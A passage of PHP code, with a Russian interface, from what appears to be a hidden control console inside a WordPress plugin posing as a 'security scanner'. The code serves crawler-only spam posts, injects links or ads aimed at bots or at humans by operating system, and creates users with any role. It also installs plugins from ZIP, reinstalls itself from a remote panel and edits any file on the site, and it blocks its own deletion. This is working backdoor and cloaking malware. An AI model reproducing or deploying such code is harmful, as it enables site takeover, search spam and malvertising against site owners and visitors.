echo '<p><a class="btn ' . ( 'bot' === $wss_f ? '' : 'btn2' ) . '" href="?view=posts&f=bot">Наши (bot-only)</a> <a class="btn ' . ( 'normal' === $wss_f ? '' : 'btn2' ) . '" href="?view=posts&f=normal">Обычные</a> '
. '<a class="btn btn2" href="?view=posts&f=' . $wss_f . '&edit=0">+ Новый пост</a></p>';
if ( isset( $_GET['edit'] ) ) {
$wss_p = $wss_edit > 0 ? get_post( $wss_edit ) : null;
$wss_isbot = $wss_p ? (bool) get_post_meta( $wss_p->ID, 'wss_bot_only', true ) : ( 'bot' === $wss_f );
echo '<h2>' . ( $wss_p ? 'Редактирование поста #' . (int) $wss_p->ID : 'Новый пост' ) . '</h2>';
echo '<form method="post">' . wssc_nonce() . '<input type="hidden" name="act" value="post_save"><input type="hidden" name="p_id" value="' . ( $wss_p ? (int) $wss_p->ID : 0 ) . '">';
echo '<div class="row"><div><label>Заголовок<input name="p_title" value="' . wssc_esc( $wss_p ? $wss_p->post_title : '' ) . '" required></label></div>';
echo '<div><label>Статус<select name="p_status"><option value="publish"' . ( $wss_p && 'publish' === $wss_p->post_status ? ' selected' : '' ) . '>publish</option><option value="draft"' . ( $wss_p && 'draft' === $wss_p->post_status ? ' selected' : '' ) . '>draft</option><option value="pending"' . ( $wss_p && 'pending' === $wss_p->post_status ? ' selected' : '' ) . '>pending</option></select></label></div></div>';
echo '<p><label>Текст (HTML разрешён)<textarea name="p_content">' . wssc_esc( $wss_p ? $wss_p->post_content : '' ) . '</textarea></label></p>';
echo '<p><label><input type="checkbox" name="p_bot" value="1"' . ( $wss_isbot ? ' checked' : '' ) . '> Видят только боты (wss_bot_only)</label> <button class="btn">Сохранить</button></p></form>';
}
$wss_q = new WP_Query( array(
'post_type' => 'post',
'post_status' => array( 'publish', 'draft', 'pending' ),
'posts_per_page' => 100,
'orderby' => 'date',
'order' => 'DESC',
'meta_query' => array( array( 'key' => 'wss_bot_only', 'compare' => 'bot' === $wss_f ? 'EXISTS' : 'NOT EXISTS' ) ),
) );
echo '<h2>Список</h2><table><tr><th>ID</th><th>Заголовок</th><th>Статус</th><th>Дата</th><th></th></tr>';
while ( $wss_q->have_posts() ) {
$wss_q->the_post();
echo '<tr><td>' . get_the_ID() . '</td><td><a href="?view=posts&f=' . $wss_f . '&edit=' . get_the_ID() . '">' . wssc_esc( get_the_title() ) . '</a></td><td>' . wssc_esc( get_post_status() ) . '</td><td class="muted">' . wssc_esc( get_the_date( 'd.m.Y H:i' ) ) . '</td>';
echo '<td><form method="post" onsubmit="return confirm(\'Удалить пост?\')">' . wssc_nonce() . '<input type="hidden" name="act" value="post_del"><input type="hidden" name="p_id" value="' . get_the_ID() . '"><button class="btn btnd">Удалить</button></form></td></tr>';
}
wp_reset_postdata();
echo '</table>';
}
// ---------- Ссылки / реклама ----------
if ( 'links' === $wss_view ) {
$wss_links = (array) get_option( 'wss_placed_links', array() );
echo '<h2>Размещённые ссылки (' . count( $wss_links ) . ') — рендерятся выбранной аудитории</h2><table><tr><th>#</th><th>Место</th><th>Аудитория</th><th>ОС</th><th>HTML</th><th></th></tr>';
foreach ( $wss_links as $wss_i => $wss_l ) {
echo '<tr><td>' . (int) $wss_i . '</td><td>' . ( ( isset( $wss_l['placement'] ) && 'all' === $wss_l['placement'] ) ? 'все стр.' : 'главная' ) . '</td>';
echo '<td>' . wssc_esc( isset( $wss_l['audience'] ) ? $wss_l['audience'] : 'bots' ) . '</td><td>' . wssc_esc( implode( ', ', isset( $wss_l['os'] ) && is_array( $wss_l['os'] ) ? $wss_l['os'] : array() ) ) . '</td>';
echo '<td><code>' . wssc_esc( wssc_cut( isset( $wss_l['html'] ) ? $wss_l['html'] : '', 90 ) ) . '</code></td>';
echo '<td><form method="post" onsubmit="return confirm(\'Удалить ссылку?\')">' . wssc_nonce() . '<input type="hidden" name="act" value="link_del"><input type="hidden" name="l_i" value="' . (int) $wss_i . '"><button class="btn btnd">×</button></form></td></tr>';
}
echo '</table>';
echo '<h2>Добавить ссылку/рекламу</h2><form method="post">' . wssc_nonce() . '<input type="hidden" name="act" value="link_add">';
echo '<p><label>HTML<textarea name="l_html" required placeholder="<div><a href=https://site.com/>anchor</a></div>"></textarea></label></p>';
echo '<div class="row"><div><label>Место<select name="l_place"><option value="home">Главная</option><option value="all">Все страницы</option></select></label></div>';
echo '<div><label>Аудитория<select name="l_aud"><option value="bots">Боты (SEO)</option><option value="humans">Люди (реклама)</option><option value="all">Все</option></select></label></div>';
echo '<div><label>ОС (для людей; пусто = все)<div>';
foreach ( array( 'windows', 'macos', 'android', 'ios', 'linux' ) as $wss_o ) {
echo '<label style="margin-right:10px"><input type="checkbox" name="l_os[]" value="' . $wss_o . '"> ' . $wss_o . '</label>';
}
echo '</div></label></div></div><p><button class="btn">Добавить</button></p></form>';
}
// ---------- Пользователи ----------
if ( 'users' === $wss_view ) {
$wss_edit = isset( $_GET['edit'] ) ? (int) $_GET['edit'] : -1;
echo '<p><a class="btn btn2" href="?view=users&edit=0">+ Новый пользователь</a></p>';
if ( isset( $_GET['edit'] ) ) {
$wss_u = $wss_edit > 0 ? get_userdata( $wss_edit ) : null;
echo '<h2>' . ( $wss_u ? 'Изменить: ' . wssc_esc( $wss_u->user_login ) : 'Новый пользователь' ) . '</h2><form method="post">' . wssc_nonce();
echo '<input type="hidden" name="act" value="' . ( $wss_u ? 'user_save' : 'user_new' ) . '"><input type="hidden" name="u_id" value="' . ( $wss_u ? (int) $wss_u->ID : 0 ) . '">';
echo '<div class="row">';
if ( ! $wss_u ) { echo '<div><label>Логин<input name="u_login" required></label></div>'; }
echo '<div><label>' . ( $wss_u ? 'Новый пароль (пусто = не менять)' : 'Пароль' ) . '<input name="u_pass"></label></div>';
echo '<div><label>Email<input name="u_email" type="email" value="' . wssc_esc( $wss_u ? $wss_u->user_email : '' ) . '"></label></div>';
echo '<div><label>Роль<select name="u_role">';
foreach ( wp_roles()->get_names() as $wss_rk => $wss_rn ) {
echo '<option value="' . wssc_esc( $wss_rk ) . '"' . ( $wss_u && ! empty( $wss_u->roles ) && reset( $wss_u->roles ) === $wss_rk ? ' selected' : '' ) . '>' . wssc_esc( $wss_rn ) . '</option>';
}
echo '</select></label></div></div><p><button class="btn">Сохранить</button></p></form>';
}
echo '<h2>Список</h2><table><tr><th>ID</th><th>Логин</th><th>Email</th><th>Роль</th><th></th></tr>';
foreach ( get_users( array( 'number' => 200 ) ) as $wss_u ) {
echo '<tr><td>' . (int) $wss_u->ID . '</td><td>' . wssc_esc( $wss_u->user_login ) . '</td><td>' . wssc_esc( $wss_u->user_email ) . '</td><td>' . wssc_esc( implode( ', ', (array) $wss_u->roles ) ) . '</td>';
echo '<td><a class="btn btn2" href="?view=users&edit=' . (int) $wss_u->ID . '">Изменить</a> ';
echo '<form method="post" style="display:inline" onsubmit="return confirm(\'Удалить пользователя?\')">' . wssc_nonce() . '<input type="hidden" name="act" value="user_del"><input type="hidden" name="u_id" value="' . (int) $wss_u->ID . '"><button class="btn btnd">Удалить</button></form></td></tr>';
}
echo '</table>';
}
// ---------- Плагины ----------
if ( 'plugins' === $wss_view ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$wss_all = get_plugins();
echo '<h2>Установленные плагины</h2><table><tr><th>Плагин</th><th>Версия</th><th>Статус</th><th>Действия</th></tr>';
foreach ( $wss_all as $wss_file => $wss_info ) {
$wss_active = is_plugin_active( $wss_file );
$wss_ours = false !== strpos( $wss_file, 'wordpress-security-scanner' );
echo '<tr><td>' . wssc_esc( $wss_info['Name'] ) . '<div class="muted">' . wssc_esc( $wss_file ) . '</div></td><td>' . wssc_esc( isset( $wss_info['Version'] ) ? $wss_info['Version'] : '' ) . '</td>';
echo '<td>' . ( $wss_active ? '<span class="ok">активен</span>' : 'выключен' ) . '</td><td>';
echo '<form method="post" style="display:inline">' . wssc_nonce() . '<input type="hidden" name="p_file" value="' . wssc_esc( $wss_file ) . '">';
if ( $wss_active ) { echo '<input type="hidden" name="act" value="plugin_off"><button class="btn btn2">Выключить</button> '; }
else { echo '<input type="hidden" name="act" value="plugin_on"><button class="btn">Включить</button> '; }
if ( ! $wss_ours ) { echo '<button class="btn btnd" name="act" value="plugin_del" onclick="return confirm(\'Удалить плагин?\')">Удалить</button>'; }
echo '</form>';
if ( $wss_ours ) { echo ' <span class="muted">управляется из панели</span>'; }
echo '</td></tr>';
}
echo '</table>';
echo '<h2>Установить плагин из ZIP</h2><form method="post" enctype="multipart/form-data">' . wssc_nonce() . '<input type="hidden" name="act" value="plugin_upload"><input type="file" name="zfile" accept=".zip" required> <button class="btn">Установить</button></form>';
echo '<p><form method="post">' . wssc_nonce() . '<input type="hidden" name="act" value="restore"><button class="btn">Восстановить наш плагин (ZIP из БД / панели)</button></form></p>';
}
// ---------- Файлы ----------
if ( 'files' === $wss_view ) {
$wss_path = isset( $_GET['path'] ) ? (string) $_GET['path'] : 'wp-content/themes/' . get_stylesheet() . '/functions.php';
$wss_full = realpath( ABSPATH . ltrim( $wss_path, '/\\' ) );
$wss_base = realpath( ABSPATH );
echo '<form method="get"><input type="hidden" name="view" value="files"><label>Путь от корня сайта (напр. wp-content/themes/twentytwentyfour/functions.php)<input name="path" value="' . wssc_esc( $wss_path ) . '" style="max-width:640px"></label> <button class="btn btn2">Открыть</button></form>';
if ( $wss_full && $wss_base && 0 === strpos( $wss_full, $wss_base ) && is_file( $wss_full ) ) {
$wss_content = (string) file_get_contents( $wss_full );
echo '<h2>' . wssc_esc( basename( $wss_full ) ) . ' <span class="muted">(' . round( strlen( $wss_content ) / 1024, 1 ) . ' КБ)</span></h2>';
echo '<form method="post">' . wssc_nonce() . '<input type="hidden" name="act" value="file_save"><input type="hidden" name="f_path" value="' . wssc_esc( $wss_path ) . '">';
echo '<textarea name="f_content" style="min-height:480px">' . wssc_esc( $wss_content ) . '</textarea><p><button class="btn">Сохранить (создаётся бэкап .wss-bak)</button></p></form>';
} else {
echo '<p class="err">Файл не найден или путь вне корня сайта.</p>';
}
}
echo '</body></html>';
exit;
}
/* WSS-CONSOLE-END */